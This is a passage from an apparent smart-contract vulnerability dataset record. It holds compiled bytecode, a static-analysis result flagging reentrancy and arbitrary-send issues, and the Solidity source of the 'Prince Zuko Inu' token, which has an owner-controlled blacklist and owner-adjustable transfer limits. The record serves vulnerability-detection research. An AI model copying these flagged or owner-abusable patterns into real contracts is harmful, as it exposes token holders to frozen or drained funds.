7e0908390a3600080546001600160a01b0319169055565b600061045c338484610c1f565b600c546001600160a01b0316336001600160a01b031614610a1357600080fd5b6000610a1e30610950565b905061094d81611174565b6000546001600160a01b03163314610a535760405162461bcd60e51b81526004016103cc90611a3e565b60008111610aa35760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103cc565b610ac06064610aba670de0b6b3a764000084611319565b90611398565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cc565b6001600160a01b038216610bbe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cc565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103cc565b6001600160a01b038216610ce55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103cc565b60008111610d475760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cc565b6000546001600160a01b03848116911614801590610d7357506000546001600160a01b03838116911614155b15610fd457600f54600160b81b900460ff1615610e5a576001600160a01b0383163014801590610dac57506001600160a01b0382163014155b8015610dc65750600e546001600160a01b03848116911614155b8015610de05750600e546001600160a01b03838116911614155b15610e5a57600e546001600160a01b0316336001600160a01b03161480610e1a5750600f546001600160a01b0316336001600160a01b0316145b610e5a5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103cc565b601054811115610e6957600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eab57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb457600080fd5b600f546001600160a01b038481169116148015610edf5750600e546001600160a01b03838116911614155b8015610f0457506001600160a01b03821660009081526005602052604090205460ff16155b8015610f195750600f54600160b81b900460ff165b15610f67576001600160a01b0382166000908152600b60205260409020544211610f4257600080fd5b610f4d42600a611ae3565b6001600160a01b0383166000908152600b60205260409020555b6000610f7230610950565b600f54909150600160a81b900460ff16158015610f9d5750600f546001600160a01b03858116911614155b8015610fb25750600f54600160b01b900460ff165b15610fd257610fc081611174565b478015610fd057610fd04761106b565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101657506001600160a01b03831660009081526005602052604090205460ff165b1561101f575060005b61102b848484846113da565b50505050565b600081848411156110555760405162461bcd60e51b81526004016103cc91906119eb565b5060006110628486611b3a565b95945050505050565b600c546001600160a01b03166108fc611085836002611398565b6040518115909202916000818181858888f193505050501580156110ad573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c8836002611398565b6040518115909202916000818181858888f1935050505015801561044b573d6000803e3d6000fd5b60006006548211156111575760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103cc565b6000611161611406565b905061116d8382611398565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ca57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121e57600080fd5b505afa158015611232573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125691906117e8565b8160018151811061127757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461129d9130911684610afb565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112d6908590600090869030904290600401611a73565b600060405180830381600087803b1580156112f057600080fd5b505af1158015611304573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132857506000610460565b60006113348385611b1b565b9050826113418583611afb565b1461116d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cc565b600061116d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611429565b806113e7576113e7611457565b6113f284848461147a565b8061102b5761102b6005600855600a600955565b6000806000611413611571565b90925090506114228282611398565b9250505090565b6000818361144a5760405162461bcd60e51b81526004016103cc91906119eb565b5060006110628486611afb565b6008541580156114675750600954155b1561146e57565b60006008819055600955565b60008060008060008061148c876115b1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114be908761160e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114ed9086611650565b6001600160a01b03891660009081526002602052604090205561150f816116af565b61151984836116f9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155e91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061158c8282611398565b8210156115a857505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006115ce8a60085460095461171d565b92509250925060006115de611406565b905060008060006115f18e87878761176c565b919e509c509a509598509396509194505050505091939550919395565b600061116d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611031565b60008061165d8385611ae3565b90508381101561116d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cc565b60006116b9611406565b905060006116c78383611319565b306000908152600260205260409020549091506116e49082611650565b30600090815260026020526040902055505050565b600654611706908361160e565b6006556007546117169082611650565b6007555050565b60008080806117316064610aba8989611319565b905060006117446064610aba8a89611319565b9050600061175c826117568b8661160e565b9061160e565b9992985090965090945050505050565b600080808061177b8886611319565b905060006117898887611319565b905060006117978888611319565b905060006117a982611756868661160e565b939b939a50919850919650505050505050565b80356117c781611b98565b919050565b6000602082840312156117dd578081fd5b813561116d81611b98565b6000602082840312156117f9578081fd5b815161116d81611b98565b60008060408385031215611816578081fd5b823561182181611b98565b9150602083013561183181611b98565b809150509250929050565b600080600060608486031215611850578081fd5b833561185b81611b98565b9250602084013561186b81611b98565b929592945050506040919091013590565b6000806040838503121561188e578182fd5b823561189981611b98565b946020939093013593505050565b600060208083850312156118b9578182fd5b823567ffffffffffffffff808211156118d0578384fd5b818501915085601f8301126118e3578384fd5b8135818111156118f5576118f5611b82565b8060051b604051601f19603f8301168101818110858211171561191a5761191a611b82565b604052828152858101935084860182860187018a1015611938578788fd5b8795505b838610156119615761194d816117bc565b85526001959095019493860193860161193c565b5098975050505050505050565b60006020828403121561197f578081fd5b813561116d81611bad565b60006020828403121561199b578081fd5b815161116d81611bad565b6000602082840312156119b7578081fd5b5035919050565b6000806000606084860312156119d2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a17578581018301518582016040015282016119fb565b81811115611a285783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac25784516001600160a01b031683529383019391830191600101611a9d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611af657611af6611b6c565b500190565b600082611b1657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3557611b35611b6c565b500290565b600082821015611b4c57611b4c611b6c565b500390565b6000600019821415611b6557611b65611b6c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094d57600080fd5b801515811461094d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122054982d47448253295ef61f4811cb5b68bb0ab856f8cc7778b13afb0d6d76133564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,916 |
0xD604adf4A4d0F9A995f271028B94F4249f88a01B
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
// Part: Context
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
// Part: IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Part: IUniswapV2Factory
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Part: IUniswapV2Router02
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
// Part: SafeMath
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
// Part: Ownable
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
// File: ZUKOINU.sol
contract ZukoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromLimit;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 10;
address payable private _feeAddrWallet1;
string private constant _name = "Prince Zuko Inu";
string private constant _symbol = "ZUK";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 30_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address wallet1) {
_feeAddrWallet1 = payable(wallet1);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(
balanceOf(from) >= amount,
"ERC20: transfer amount exceeds balance"
);
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (
!isExcludedFromLimit[from] ||
(from == uniswapV2Pair && !isExcludedFromLimit[to])
) {
require(
amount <= _maxTxAmount,
"Anti-whale: Transfer amount exceeds max limit"
);
}
if (!isExcludedFromLimit[to]) {
require(
balanceOf(to) + amount <= _maxWalletAmount,
"Anti-whale: Wallet amount exceeds max limit"
);
}
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!isExcludedFromFee[to] &&
cooldownEnabled
) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
from != uniswapV2Pair &&
swapEnabled &&
contractTokenBalance >= swapThreshold
) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded)
public
onlyOwner
{
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rReflect,
uint256 tTransferAmount,
uint256 tReflect,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tReflect,
uint256 tTeam
) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rReflect
) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (
rAmount,
rTransferAmount,
rReflect,
tTransferAmount,
tReflect,
tTeam
);
}
function _getTValues(
uint256 tAmount,
uint256 reflectFee,
uint256 teamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tReflect,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf9146104a1578063d94160e0146104b6578063dd62ed3e146104e6578063f42938901461052c57600080fd5b8063b515566a14610441578063c024666814610461578063c0a904a21461048157600080fd5b8063715018a61461038257806381bfdcca1461039757806389f425e7146103b75780638da5cb5b146103d757806395d89b41146103f5578063a9059cbb1461042157600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102f25780635932ead114610322578063677daa571461034257806370a082311461036257600080fd5b8063313ce5671461028957806349bd5a5e146102a557806351bc3c85146102dd57600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101fb57806318160ddd1461022b57806323b872dd14610247578063273123b71461026757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b5060408051808201909152600f81526e5072696e6365205a756b6f20496e7560881b60208201525b6040516101b191906119dc565b34801561020757600080fd5b5061021b610216366004611a56565b610541565b60405190151581526020016101b1565b34801561023757600080fd5b50683635c9adc5dea000006101a7565b34801561025357600080fd5b5061021b610262366004611a82565b610558565b34801561027357600080fd5b50610287610282366004611ac3565b6105c1565b005b34801561029557600080fd5b50604051600981526020016101b1565b3480156102b157600080fd5b506010546102c5906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e957600080fd5b50610287610615565b3480156102fe57600080fd5b5061021b61030d366004611ac3565b60056020526000908152604090205460ff1681565b34801561032e57600080fd5b5061028761033d366004611aee565b61064e565b34801561034e57600080fd5b5061028761035d366004611b0b565b610696565b34801561036e57600080fd5b506101a761037d366004611ac3565b6106c5565b34801561038e57600080fd5b506102876106e7565b3480156103a357600080fd5b506102876103b2366004611b0b565b61075b565b3480156103c357600080fd5b506102876103d2366004611b0b565b61078a565b3480156103e357600080fd5b506000546001600160a01b03166102c5565b34801561040157600080fd5b506040805180820190915260038152625a554b60e81b60208201526101ee565b34801561042d57600080fd5b5061021b61043c366004611a56565b6107b9565b34801561044d57600080fd5b5061028761045c366004611b3a565b6107c6565b34801561046d57600080fd5b5061028761047c366004611bff565b61085c565b34801561048d57600080fd5b5061028761049c366004611bff565b6108b1565b3480156104ad57600080fd5b50610287610906565b3480156104c257600080fd5b5061021b6104d1366004611ac3565b60066020526000908152604090205460ff1681565b3480156104f257600080fd5b506101a7610501366004611c38565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053857600080fd5b50610287610ca6565b600061054e338484610cd0565b5060015b92915050565b6000610565848484610df4565b6105b784336105b285604051806060016040528060288152602001611e2c602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061123a565b610cd0565b5060019392505050565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016105eb90611c66565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063557600080fd5b6000610640306106c5565b905061064b81611274565b50565b6000546001600160a01b031633146106785760405162461bcd60e51b81526004016105eb90611c66565b60108054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106c05760405162461bcd60e51b81526004016105eb90611c66565b601155565b6001600160a01b038116600090815260026020526040812054610552906113ee565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105eb90611c66565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107855760405162461bcd60e51b81526004016105eb90611c66565b601255565b6000546001600160a01b031633146107b45760405162461bcd60e51b81526004016105eb90611c66565b600b55565b600061054e338484610df4565b6000546001600160a01b031633146107f05760405162461bcd60e51b81526004016105eb90611c66565b60005b81518110156108585760016007600084848151811061081457610814611c9b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085081611cc7565b9150506107f3565b5050565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105eb90611c66565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108db5760405162461bcd60e51b81526004016105eb90611c66565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b81526004016105eb90611c66565b601054600160a01b900460ff161561098a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105eb565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109c73082683635c9adc5dea00000610cd0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a299190611ce2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9a9190611ce2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ae7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0b9190611ce2565b601080546001600160a01b0319166001600160a01b03928316178155600f80548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610b6f816106c5565b600080610b846000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bec573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c119190611cff565b50506010805463ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c82573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108589190611d2d565b600e546001600160a01b0316336001600160a01b031614610cc657600080fd5b4761064b81611472565b6001600160a01b038316610d325760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105eb565b6001600160a01b038216610d935760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105eb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e585760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105eb565b6001600160a01b038216610eba5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105eb565b80610ec4846106c5565b1015610f215760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105eb565b6000546001600160a01b03848116911614801590610f4d57506000546001600160a01b03838116911614155b1561122a576001600160a01b03831660009081526007602052604090205460ff16158015610f9457506001600160a01b03821660009081526007602052604090205460ff16155b610f9d57600080fd5b6001600160a01b03831660009081526006602052604090205460ff161580610ff657506010546001600160a01b038481169116148015610ff657506001600160a01b03821660009081526006602052604090205460ff16155b15611063576011548111156110635760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105eb565b6001600160a01b03821660009081526006602052604090205460ff166110fc5760125481611090846106c5565b61109a9190611d4a565b11156110fc5760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105eb565b6010546001600160a01b0384811691161480156111275750600f546001600160a01b03838116911614155b801561114c57506001600160a01b03821660009081526005602052604090205460ff16155b80156111615750601054600160b81b900460ff165b156111af576001600160a01b038216600090815260086020526040902054421161118a57600080fd5b61119542603c611d4a565b6001600160a01b0383166000908152600860205260409020555b60006111ba306106c5565b601054909150600160a81b900460ff161580156111e557506010546001600160a01b03858116911614155b80156111fa5750601054600160b01b900460ff165b80156112085750600b548110155b156112285761121681611274565b4780156112265761122647611472565b505b505b6112358383836114ac565b505050565b6000818484111561125e5760405162461bcd60e51b81526004016105eb91906119dc565b50600061126b8486611d62565b95945050505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112bc576112bc611c9b565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611315573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113399190611ce2565b8160018151811061134c5761134c611c9b565b6001600160a01b039283166020918202929092010152600f546113729130911684610cd0565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ab908590600090869030904290600401611d79565b600060405180830381600087803b1580156113c557600080fd5b505af11580156113d9573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60006009548211156114555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105eb565b600061145f6114b7565b905061146b83826114da565b9392505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610858573d6000803e3d6000fd5b61123583838361151c565b60008060006114c46116dc565b90925090506114d382826114da565b9250505090565b600061146b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061171e565b60008060008060008061152e8761174c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156090876117a9565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff16806115ab57506001600160a01b03881660009081526005602052604090205460ff165b15611634576001600160a01b0388166000908152600260205260409020546115d390876117eb565b6001600160a01b03808a166000818152600260205260